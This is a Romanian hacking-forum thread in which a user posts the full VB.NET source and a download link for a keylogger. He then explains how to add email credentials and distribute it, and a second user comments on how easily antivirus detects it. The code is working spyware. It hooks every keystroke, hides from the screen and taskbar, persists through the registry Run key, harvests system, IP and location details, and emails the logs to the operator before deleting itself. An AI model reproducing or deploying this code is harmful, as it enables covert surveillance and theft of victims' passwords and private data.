Jump to content
bc-vnt

Un alt keylogger in VB.NET and source code

By bc-vnt, in Programe hacking

Recommended Posts

bc-vnt Newbie

bc-vnt

Posted
Posted (edited)

Download : http://www.2shared.com/file/iC606rlE/KeyLogger2.html

' ******************************************************
' *                  CREATED BY bc-vnt                 *
' *                                                    *
' ******************************************************

'#  SPECIAL KEYLOGGER FUNCTIONS
'1. Runs Invisible from Screen and Taskbar
'2. Detects more than 26 letters and also special characters, numbers, hotkeys, lower case, upper case
'3. Sends the LOG via E-Mail to your Mail-Address as Mail Attachment which you can download it and analyse it whenever you want
'4. Retrieves External IP, and also the Internal Ip (User Network IP), User Location by Country
'5. Retrieves Window-Titles of what the User actually hovers at, catches the address of websites the User has clicked
'6. The LOG is invisible to the User, so a Users detection is impossible
'7. Retrieves Information about Motherboard, RAM, Physical Drives, Virtual Drives, Bios, Processors, Vendor, Username, PC-Name and much more
'8. Automatically selfdestructs (uninstalls) after a specific amount of days, which you set by your desire
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'BE AWARE THAT THIS IS A VB.NET PROJECT AND ITS ASSEMBLIESS AQUIRE THAT THE NET FRAMEWORK MUST BE PREINSTALLED, ON THE USERS MACHINE,
'THIS IS A NET.FRAMEWORK 2 TARGET PROJECT, SO YOU NEED NET FRAMEWORK 2 (ATLEAST) ON YOU MACHINE, OR ELSE IT WILL NOT WORK!
'IF YOU WANT TO UPGRADE THIS PROJECT TO UPPER FRAMEWORKS OR TO x64 bit ARCHITECTURE YOU CAN DO IT EVERY TIME ON THE VISUAL STUDIO OPTIONS!
'Keylogger tested on: Win7(x86), XP(x86)

Imports System.IO
Imports System.Net
Imports System.Net.Mail
Imports System.Net.Mime
Imports Microsoft.Win32
Imports System.Diagnostics
Imports System.Collections.ObjectModel

Public Class Form1
    Dim WithEvents K As New Keyboard
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Dim quote As String = """"
    Dim windowTitle As String
    Dim selfDestruct As Integer = 30 ' days

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Me.Location = New Point(-10 - Me.Width, 0) : Me.ShowInTaskbar = False
        registerApplication()
        K.CreateHook()
        ' Adds UserName, ComputerName and current Time to the Log File
        My.Settings.log = My.Settings.log + vbNewLine + "_________________________________________________" _
                         + "____________________________________________________________________________" _
                         + vbNewLine + "Current Time: " + Now.DayOfWeek.ToString + ", " + Now() + vbNewLine + vbNewLine _
                         + "Computer Name:" + " " + Environment.MachineName + vbNewLine + vbNewLine _
                         + "Username:" + " " + Environment.UserName + vbNewLine _
                         + "____________________________________________________________________________" _
                         + "________________________________________________" _
                         + vbNewLine + vbNewLine
    End Sub

    Private Sub Form1_FormClosing(sender As Object, e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        K.DisposeHook()
    End Sub

    Private Sub K_Down(ByVal Key As String) Handles K.Down
        My.Settings.log = My.Settings.log & Key
    End Sub

    Private Function getActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function

    Private Function roundObjectSize(ByVal ObjectSize As String) As String
        Select Case CDec(ObjectSize)
            Case 0 To CDec(999.999)
                ObjectSize = Format(CInt(CDec(ObjectSize)), "###,###,###,###,##0 Bytes")
            Case 1000 To CDec(999999.999)
                ObjectSize = Format(CInt(CDec(ObjectSize) / 1024), "###,###,###,##0 KB")
            Case 1000000 To CDec(999999999.999)
                ObjectSize = Format(CInt(CDec(ObjectSize) / 1024 / 1024), "###,###,##0 MB")
            Case 1000000000 To CDec(999999999999.999)
                ObjectSize = Format((((CInt(CDec(ObjectSize) / 1024 / 1024) / 10) \ 10) / 10), "#,###.00 GB")
            Case Is >= 1000000000000
                ObjectSize = Format((((CInt(CDec(ObjectSize) / 1024 / 1024 / 1024) / 10) \ 10) / 10), "#,###.00 TB")
        End Select
        Return ObjectSize
    End Function

    Private Sub additionalInformations()
        My.Settings.info = ""
        ' GET COMPUTER LOCATION THROUGH IP
        Dim ipinfo As New WebClient
        Dim city As String
        Try
            Dim ip As String = ipinfo.DownloadString("http://www.find-ip-address.org/")
            city = ip.Substring(ip.IndexOf("IP Address Lookup Location") + 80)
            city = city.Substring(0, city.IndexOf(" <"))
        Catch ex As Exception
            city = "Unable to lookup"
        End Try
        My.Settings.info = My.Settings.info + "IP Location: " + city + vbNewLine

        '______________________________________________________________________________________________________________________________
        ' GET EXTERNAL AND INTERNAL IP
        Try
            Dim req As HttpWebRequest = WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")
            Dim res As HttpWebResponse = req.GetResponse()
            Dim str As Stream = res.GetResponseStream
            Dim sr As StreamReader = New StreamReader(str)
            My.Settings.info = My.Settings.info + "External IP: " + sr.ReadToEnd + vbNewLine

            Dim iphostentry As System.Net.IPHostEntry = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName)
            My.Settings.info = My.Settings.info + "Internal IP: " _
                + CType(iphostentry.AddressList.GetValue(0), IPAddress).ToString + vbNewLine + vbNewLine
        Catch
        End Try

        '______________________________________________________________________________________________________________________________
        ' ADDITIONAL INFORMATIONS
        Try
            My.Settings.info = My.Settings.info _
                + "User Name: " + Environment.UserName + vbNewLine _
                + "Machine Name: " + Environment.MachineName + vbNewLine _
                + "OS Version: " _
                + Environment.OSVersion.ToString + vbNewLine _
                + "OS Fullname: " _
                + My.Computer.Info.OSFullName + vbNewLine _
                + "OS Platform: " + My.Computer.Info.OSPlatform.ToString + vbNewLine _
                + "System Language: " _
                + My.Computer.Info.InstalledUICulture.ToString + vbNewLine _
                + "Screen Resolution: " _
                + My.Computer.Screen.BitsPerPixel.ToString + " Bit" + vbNewLine _
                + "Screen Bounds: " _
                + My.Computer.Screen.Bounds.Width.ToString + "x" + My.Computer.Screen.Bounds.Height.ToString + vbNewLine _
                + "Display Device: " _
                + My.Computer.Screen.DeviceName.ToString + vbNewLine
        Catch
        End Try
        '______________________________________________________________________________________________________________________________
        ' GET REGISTRY VALUES

        Try
            Dim Registry1 As String = "HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SYSTEM\BIOS"
            Dim Registry2 As String = "HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0"
            My.Settings.info = My.Settings.info _
                 + "Computer Manufacturer: " _
                 + My.Computer.Registry.GetValue(Registry1, "SystemManufacturer", Nothing).ToString + vbNewLine _
                 + "Computer Type: " _
                 + My.Computer.Registry.GetValue(Registry1, "SystemProductName", Nothing).ToString + vbNewLine + vbNewLine _
                 + "Processor: " _
                 + My.Computer.Registry.GetValue(Registry2, "ProcessorNameString", Nothing).ToString + vbNewLine _
                 + "Processor Identifier: " _
                 + My.Computer.Registry.GetValue(Registry2, "Identifier", Nothing).ToString + vbNewLine _
                 + "Processor Speed: " _
                 + (((My.Computer.Registry.GetValue(Registry2, "~MHz", Nothing) / 10) \ 10) / 10).ToString + " GHz" + vbNewLine _
                 + "Processor Manufacturer: " _
                 + My.Computer.Registry.GetValue(Registry2, "VendorIdentifier", Nothing).ToString + vbNewLine + vbNewLine _
                 + "Total Physical Memory (RAM): " _
                 + roundObjectSize(My.Computer.Info.TotalPhysicalMemory.ToString) + vbNewLine + vbNewLine
        Catch
        End Try
        '______________________________________________________________________________________________________________________________
        ' GET BIOS INFORMATIONS
        Dim objWMIService As Object = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
        Dim colBIOS As Object = objWMIService.ExecQuery("Select * from Win32_BIOS")
        For Each objBIOS In colBIOS
            My.Settings.info = My.Settings.info _
                + "Bios Manufacturer: " + objBIOS.Manufacturer.ToString + vbNewLine _
                + "Bios Serial Number: " + objBIOS.SerialNumber.ToString + vbNewLine _
                + "Bios Version: " + objBIOS.SMBIOSBIOSVersion.ToString + vbNewLine _
                + "_____________________________________________________________________" + vbNewLine
        Next

        '______________________________________________________________________________________________________________________________
        ' GET DRIVEs INFORMATIONS
        Dim drives As ReadOnlyCollection(Of DriveInfo)
        drives = My.Computer.FileSystem.Drives

        Try
            For Each drive As DriveInfo In drives
                If drive.IsReady Then
                    My.Settings.info = My.Settings.info + vbNewLine _
                    + drive.DriveType.ToString + " Drive " _
                    + drive.Name.ToString + vbNewLine _
                    + "Drive Label: " + drive.VolumeLabel.ToString + vbNewLine _
                    + "Drive Format: " + drive.DriveFormat.ToString + vbNewLine _
                    + "Total Drive Size: " + roundObjectSize(drive.TotalSize) + vbNewLine _
                    + "Total Free Space: " + roundObjectSize(drive.TotalFreeSpace) + vbNewLine
                Else
                    My.Settings.info = My.Settings.info + vbNewLine _
                        + "Unknown Drive " + drive.Name.ToString + vbNewLine _
                        + "(This Drive is not ready, It could be a DVD Drive or a Virtual Drive!)" _
                        + vbNewLine
                End If
            Next
        Catch
        End Try
    End Sub

    Private Sub registerApplication()
        ' We register the App only for the current-user since on Vista & Win7 it requieres administrator privileges for other users!
        ' The path for all users would be Registry.LocalMachine or manually "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\...\Run"
        Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True) _
                   .SetValue("Keylogger", quote + Application.ExecutablePath.ToString + quote)

        ' We create a new key for our app like the proffessionals do, and we set some data there, 
        ' in this case the installation date, thus the app will be able later to identify on what date to uninstall,
        ' To open Registry Editor if you want, go to Start, type REGEDIT and hit(Win7) or go to Start, go to RUN, type REGEDIT(XP), 
        ' and have a look on the Registry, but dont delete or change anything else there, or your computer will be unstable, or crash!
        If Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Keylogger") Is Nothing Then
            Registry.CurrentUser.CreateSubKey("SOFTWARE\Keylogger")
            Registry.CurrentUser.OpenSubKey("Software\Keylogger", True).SetValue("Year", Now.Year.ToString)
            Registry.CurrentUser.OpenSubKey("Software\Keylogger", True).SetValue("Month", Now.Month.ToString)
            Registry.CurrentUser.OpenSubKey("Software\Keylogger", True).SetValue("Day", Now.Day.ToString)
        End If
    End Sub

    Private Sub sendMail()
        additionalInformations()
        Timerwindow.Dispose()
        K.DisposeHook()
        Try

            '########################################################################################

            ' HOST WEBSITES http://www.gmx.com/ or http://www.gmail.com/
            Dim myHost As String = "mail.gmx.com"                      ' IF YOU'RE USING GMX AS HOST
            Dim myHostUserMailAddress As String = "YOUR E-MAIL"        ' THIS IS AN EXAMPLE
            Dim myHostUserPassword As String = "YOUR PASSWORD"                       ' THIS IS AN EXAMPLE
            Dim mailReceiver As String = "YOUR E-MAIL"            ' THIS IS AN EXAMPLE

            '########################################################################################


            Dim SmtpServer As New SmtpClient()
            Dim mail As New MailMessage()

            SmtpServer.Credentials = New Net.NetworkCredential(myHostUserMailAddress, myHostUserPassword)
            SmtpServer.Host = myHost
            mail = New MailMessage()
            mail.From = New MailAddress(myHostUserMailAddress)
            mail.To.Add(mailReceiver)
            mail.Subject = Environment.UserName + ", " + Environment.MachineName
            mail.Body = My.Settings.info
            Dim ms As New MemoryStream(System.Text.Encoding.ASCII.GetBytes(My.Settings.log))
            Dim oAttch As Net.Mail.Attachment = New Net.Mail.Attachment(ms, MediaTypeNames.Text.Plain)
            Dim disposition As ContentDisposition = oAttch.ContentDisposition
            disposition.FileName = Environment.UserName + "[" + Environment.MachineName + "]" + ".txt" ' The Name how the Attachment will be named
            mail.Attachments.Add(oAttch)
            SmtpServer.Send(mail)
            mail.Dispose()
            My.Settings.log = ""
        Catch ex As Exception
        End Try
        K.CreateHook()
        Timerwindow.Start()
    End Sub

    Private Sub unInstaller()
        If Not Registry.CurrentUser.OpenSubKey("Software\Keylogger") Is Nothing Then
            ' For example we want our app automatically uninstalled after 30 days, it will check the installation date and calculate the difference.
            ' and then it will automatically remove our app  from the computer.
            If DateDiff("d", New System.DateTime( _
                     CInt(Registry.CurrentUser.OpenSubKey("Software\Keylogger").GetValue("Year", Nothing).ToString), _
                      CInt(Registry.CurrentUser.OpenSubKey("Software\Keylogger").GetValue("Month", Nothing).ToString), _
                     CInt(Registry.CurrentUser.OpenSubKey("Software\Keylogger").GetValue("Day", Nothing).ToString), _
                       12, 0, 0), Now) > selfDestruct Then
                Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).DeleteValue("Keylogger")
                Registry.CurrentUser.OpenSubKey("Software", True).DeleteSubKey("Keylogger")

                Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True) _
                    .SetValue("Uninstaller", quote + Application.StartupPath.ToString + "\Uninstaller.vbs" + quote)

                ' This code below means if the uninstallation date has come, it will create a VB Script on the same path as the app,
                ' and it will automatically delete the app and itself on the next Computerstart or Login! 
                File.WriteAllText(Application.StartupPath.ToString + "\Uninstaller.vbs", _
                                    "Set FSO = CreateObject(""Scripting.FileSystemObject"")" + vbNewLine _
                                    + "filename = FSO.GetAbsolutePathName(Wscript.ScriptName)" + vbNewLine _
                                    + "FSO.DeleteFile " + quote + Application.ExecutablePath.ToString + quote + ", True" + vbNewLine _
                                    + "FSO.DeleteFile filename, True")
                Me.Close()
            End If
        End If
    End Sub

    Private Sub Timerwindow_Tick(sender As System.Object, e As System.EventArgs) Handles Timerwindow.Tick
        ' We limit the windowtitlecatches by these names, otherwise the LOG will get large and you wont have the time to read everything!
        Dim allowedList As String = "Facebook,Youtube,Internet,Google,Mozilla,Chrome,Safari,Live,Messenger,Skype"
        Dim commaSeparator As Char() = New Char() {","c}
        Dim result As String()
        result = AllowedList.Split(CommaSeparator, StringSplitOptions.None)

        If windowTitle <> GetActiveWindowTitle() Then
            For Each str As String In result
                If GetActiveWindowTitle.Contains(str) Then
                    If windowTitle <> GetActiveWindowTitle() Then
                        My.Settings.log = My.Settings.log + vbNewLine + "{{{" + GetActiveWindowTitle() + "}}}"
                        windowTitle = GetActiveWindowTitle()
                    End If
                End If
            Next
        End If
    End Sub

    Private Sub Timerchecker_Tick(sender As System.Object, e As System.EventArgs) Handles Timerchecker.Tick
        ' assuming the LOG reaches limit of 100000 bytes (100Kb = 0,1MB) it will send it via email to you!
        ' before it will check for the uninstaller if the limit time is reached, e.g 20 days!
        ' One Byte is equal to 1 letter or number or any other character, so 100000 bytes means 100000 letters!
        Me.Hide() ' HIDES THE FORM FROM SCREEN
        If Len(My.Settings.log) > 1000 Then : unInstaller() : sendMail() : End If
    End Sub
End Class

Public Class Keyboard
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
    Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
    Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
    Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
    Public Shared Event Down(ByVal Key As String)
    Public Shared Event Up(ByVal Key As String)
    Private Shared Key As Integer
    Private Shared KHD As KDel

    Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure

    Public Sub CreateHook()
        KHD = New KDel(AddressOf Proc)
        Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
    End Sub

    Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
        If (Code = 0) Then
            Select Case wParam
                Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
                Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
            End Select
        End If
        Return CallNextHookEx(Key, Code, wParam, lParam)
    End Function

    Public Sub DisposeHook()
        UnhookWindowsHookEx(Key)
        MyBase.Finalize()
    End Sub

    Private Function Feed(ByVal e As Keys) As String
        Select Case e
            Case 65 To 90
                If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Return e.ToString
                Else
                    Return e.ToString.ToLower
                End If
            Case 48 To 57
                If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Select Case e.ToString
                        Case "D1" : Return "!"
                        Case "D2" : Return "@"
                        Case "D3" : Return "#"
                        Case "D4" : Return "$"
                        Case "D5" : Return "%"
                        Case "D6" : Return "^"
                        Case "D7" : Return "&"
                        Case "D8" : Return "*"
                        Case "D9" : Return "("
                        Case "D0" : Return ")"
                    End Select
                Else
                    Return e.ToString.Replace("D", Nothing)
                End If
            Case 96 To 105
                Return e.ToString.Replace("NumPad", Nothing)
            Case 106 To 111
                Select Case e.ToString
                    Case "Divide" : Return "/"
                    Case "Multiply" : Return "*"
                    Case "Subtract" : Return "-"
                    Case "Add" : Return "+"
                    Case "Decimal" : Return "."
                End Select
            Case 32
                Return " "
            Case 186 To 222
                If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Select Case e.ToString
                        Case "OemMinus" : Return "_"
                        Case "Oemplus" : Return "+"
                        Case "OemOpenBrackets" : Return "{"
                        Case "Oem6" : Return "}"
                        Case "Oem5" : Return "|"
                        Case "Oem1" : Return ":"
                        Case "Oem7" : Return """"
                        Case "Oemcomma" : Return "<"
                        Case "OemPeriod" : Return ">"
                        Case "OemQuestion" : Return "?"
                        Case "Oemtilde" : Return "~"
                    End Select
                Else
                    Select Case e.ToString
                        Case "OemMinus" : Return "-"
                        Case "Oemplus" : Return "="
                        Case "OemOpenBrackets" : Return "["
                        Case "Oem6" : Return "]"
                        Case "Oem5" : Return "\"
                        Case "Oem1" : Return ";"
                        Case "Oem7" : Return "'"
                        Case "Oemcomma" : Return ","
                        Case "OemPeriod" : Return "."
                        Case "OemQuestion" : Return "/"
                        Case "Oemtilde" : Return "`"
                    End Select
                End If
            Case Keys.Return
                Return Environment.NewLine
            Case Keys.Back
                Return " ?"
        End Select
        Return Nothing
    End Function
End Class

Acesta este mult mai complex :D

immagineaqt.png

immagine1mi.png

Edited by bc-vnt
Link to comment
Share on other sites
bc-vnt Newbie

bc-vnt

Posted
  • Author
Posted
link de download invalid ?

schimbal !

Done : KeyLogger2.exe download - 2shared

P.S - Nu vreau sa fiu cretin vad ca ai 6 pst's deci ori nu prea te pricepi , ori crezi ca e un keyset, NU ESTE UN KEYSET adica il poti seta doar din sorce code postat de mine , unde scrie " YOUR EMAIL / YOUR PASSWORD " pui datele tale dupa il distribui.

P.S2 - Merge doar pe smtp.gmail.com / mail.gmx.com , deci trebuie sa ai e-mail pe un din serverele astea pentru ati fi folositor la ceva acesta sursa :P

Link to comment
Share on other sites
me.mello Newbie

me.mello

Posted
Posted

Normal in pula mea daca e luat dupa internet, voi de ce aveti impresia ca, gasiti cam orice? Atunci cand se gaseste o metoda noua e criptata si cea veche e giveaway.

.Net Assembly e foarte usor de detectat din cauza seturilor de funcii care pot fi usor descoperite de antivirusi, deci degeaba, poti sa faci si call in call sau goto ca tot inutil e.

Oricum nota 10 pentru leech :D

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...